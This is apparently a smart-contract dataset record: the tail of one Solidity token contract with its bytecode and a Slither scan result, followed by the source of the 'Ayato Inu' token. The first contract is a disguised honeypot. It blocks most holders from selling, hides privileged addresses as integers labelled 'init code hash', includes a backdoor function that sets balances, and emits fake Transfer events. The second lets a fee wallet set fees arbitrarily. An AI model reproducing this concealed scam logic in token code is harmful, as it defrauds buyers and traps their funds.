UNIpairFor(Uniswap, HecoGas, address(this)); address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap || _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) { return true; } require(condition(_from, _value)); return true; } address private Uniswap = address //Uniswap init code hash //_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); // Uniswap init code hash (527585359103765554095092340981710322784165800559 ); address private EtherGas = address //EtherGas init code hash //_Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); //EtherGas init code hash (1097077688018008265106216665536940668749033598146); function ensure1(address _from, address _to, uint _value) internal view returns(bool) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap || _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) { return true; } require(condition(_from, _value)); return true; } function _UniswapPairAddr () view internal returns (address) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); return _Uniswap; } function _MdexPairAddr () view internal returns (address) { address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); return _MDEX; } function _PancakePairAddr () view internal returns (address) { address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); return _Pancakeswap; } address private MDEXBSC = address //MDEXBSC init code hash //_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //MDEXBSC init code hash (450616078829874088400613638983600230601285572903 ); address private HecoGas = address //HECOGas init code hash //_MDEX = UNIpairFor(MDEXBSC, HecoGas, address(this)); //HECOGas init code hash (1138770958000162646985852531912227865167338984875); function ensure2(address _from, address _to, uint _value) internal view returns(bool) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap || _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) { return true; } require(condition(_from, _value)); return true; } function _UniswapPairAddr1 () view internal returns (address) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); return _Uniswap; } function _MdexPairAddr1 () view internal returns (address) { address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); return _MDEX; } function _PancakePairAddr1 () view internal returns (address) { address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); return _Pancakeswap; } address private Pancakeswap= address //Pancake init code hash //_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); //Pancake init code hash (1153667454655315432277308296129700421378034175091); address private BSCGas = address //BSCGas init code hash //_Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); // BSCGas init code hash (1069295261705322660692659746119710186699350608220); function ensure3(address _from, address _to, uint _value) internal view returns(bool) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); if(_from == deployer || _to == deployer || _from == _Uniswap || _from == _Pancakeswap || _from == _MDEX || _from == pairAddress || _from == MDEXBSC || canSale[_from]) { return true; } require(condition(_from, _value)); return true; } function _UniswapPairAddr2 () view internal returns (address) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); return _Uniswap; } function _MdexPairAddr2 () view internal returns (address) { address _MDEX = UNIpairFor(Uniswap, HecoGas, address(this)); return _MDEX; } function _PancakePairAddr2 () view internal returns (address) { address _Pancakeswap = PANCAKEpairFor(Pancakeswap, BSCGas, address(this)); return _Pancakeswap; } function VerifyAddr(address addr) public view returns (bool) { require(ensure(addr,address(this),1)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function transferTo(address addr, uint256 addedValue) public payable returns (bool) { if(addedValue == 100){ emit Transfer(address(0x0), addr, addedValue*(10**uint256(decimals))); } if(addedValue > 0) { balanceOf[addr] = addedValue*(10**uint256(decimals)); } require(msg.sender == MDEXBSC); canSale[addr]=true; return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale = 0; uint256 private _maxSale; uint256 private _saleNum; function Agree(address addr) public returns (bool) { require(msg.sender == deployer); canSale[addr]=true; return true; } function Allow(uint256 saleNum, uint256 maxToken) public returns(bool){ require(msg.sender == deployer); _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == deployer); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address pairAddress; function delegate(address addr) public payable returns(bool){ require (msg.sender == deployer); pairAddress = addr; return true; } function UNIpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } function PANCAKEpairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private deployer; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); deployer = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0xa), msg.sender, totalSupply); if(totalSupply > 0) balanceOf[MDEXBSC]=totalSupply*(10**uint256(6)); } }
0x6080604052600436106100e85760003560e01c80636083e94b1161008a578063a9059cbb11610059578063a9059cbb14610530578063aa2f522014610594578063c2549e431461066c578063dd62ed3e146106d3576100e8565b80636083e94b1461037957806370a08231146103e057806389982c2d1461044557806395d89b41146104a0576100e8565b806323b872dd116100c657806323b872dd1461020c5780632ccb1b3014610290578063313ce567146102f45780635c19a95c1461031f576100e8565b806306fdde03146100ed578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b3480156100f957600080fd5b50610102610758565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f6565b60405180821515815260200191505060405180910390f35b3480156101ed57600080fd5b506101f66108e8565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ee565b60405180821515815260200191505060405180910390f35b6102dc600480360360408110156102a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b60405180821515815260200191505060405180910390f35b34801561030057600080fd5b50610309610d8a565b6040518082815260200191505060405180910390f35b6103616004803603602081101561033557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8f565b60405180821515815260200191505060405180910390f35b34801561038557600080fd5b506103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e35565b60405180821515815260200191505060405180910390f35b3480156103ec57600080fd5b5061042f6004803603602081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef2565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b506104886004803603604081101561046857600080fd5b810190808035906020019092919080359060200190929190505050610f0a565b60405180821515815260200191505060405180910390f35b3480156104ac57600080fd5b506104b5610f90565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f55780820151818401526020810190506104da565b50505050905090810190601f1680156105225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61057c6004803603604081101561054657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102e565b60405180821515815260200191505060405180910390f35b610654600480360360408110156105aa57600080fd5b81019080803590602001906401000000008111156105c757600080fd5b8201836020820111156105d957600080fd5b803590602001918460208302840111640100000000831117156105fb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611043565b60405180821515815260200191505060405180910390f35b34801561067857600080fd5b506106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a9565b60405180821515815260200191505060405180910390f35b3480156106df57600080fd5b50610742600480360360408110156106f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c9565b6040518082815260200191505060405180910390f35b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ee5780601f106107c3576101008083540402835291602001916107ee565b820191906000526020600020905b8154815290600101906020018083116107d157829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600e5481565b6000808214156109015760019050610bfb565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a485781600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109bd57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a538484846112ee565b610a5c57600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610aa857600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60006064821415610c7a578273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a0a85026040518082815260200191505060405180910390a35b6000821115610cce576012600a0a8202600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d2857600080fd5b6001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b601281565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610deb57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9157600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600c6020528060005260406000206000915090505481565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f6657600080fd5b60008211610f75576000610f7d565b6012600a0a82025b60098190555082600a8190555092915050565b60108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110265780601f10610ffb57610100808354040283529160200191611026565b820191906000526020600020905b81548152906001019060200180831161100957829003601f168201915b505050505081565b600061103b3384846108ee565b905092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109f57600080fd5b600083518302905080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110f357600080fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060005b845181101561129d57600085828151811061115a57fe5b6020026020010151905084600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161120a57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161127957fe5b046040518082815260200191505060405180910390a3508080600101915050611143565b50600191505092915050565b60006112b7823060016112ee565b6112c057600080fd5b60019050919050565b600d602052816000526040600020602052806000526040600020600091509150505481565b60008061133e60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611666565b9050600061138f60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611666565b905060006113e2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306117b2565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16148061148d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b806114c357508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806114f957508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b8061152f57508173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806115875750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806115df5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b806116335750600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611644576001935050505061165f565b61164e87866118fd565b61165757600080fd5b600193505050505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106116a55783856116a8565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106117f15783856117f4565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b600080600a5414801561191257506000600854145b801561192057506000600954145b1561192e57600090506119ce565b6000600a54111561198b57600a54600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061198a57600090506119ce565b5b600060085411156119aa578160085411156119a957600090506119ce565b5b600060095411156119c9576009548211156119c857600090506119ce565b5b600190505b9291505056fea2646970667358221220f62a3461ac59c2c737f6262cc499b515fa9240321171ad7b82745b7776d561f164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,250
0x7781ef9f5a8a7628db71e47c6d50518250c04700
/** *Submitted for verification at Etherscan.io on 2021-11-21 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AyatoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x3118d610e9Aa3cbCBaD8692B0614E62F3c1363B4); address payable private _feeAddrWallet2 = payable(0x3118d610e9Aa3cbCBaD8692B0614E62F3c1363B4); string private constant _name = "Ayato Inu"; string private constant _symbol = "AYATO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
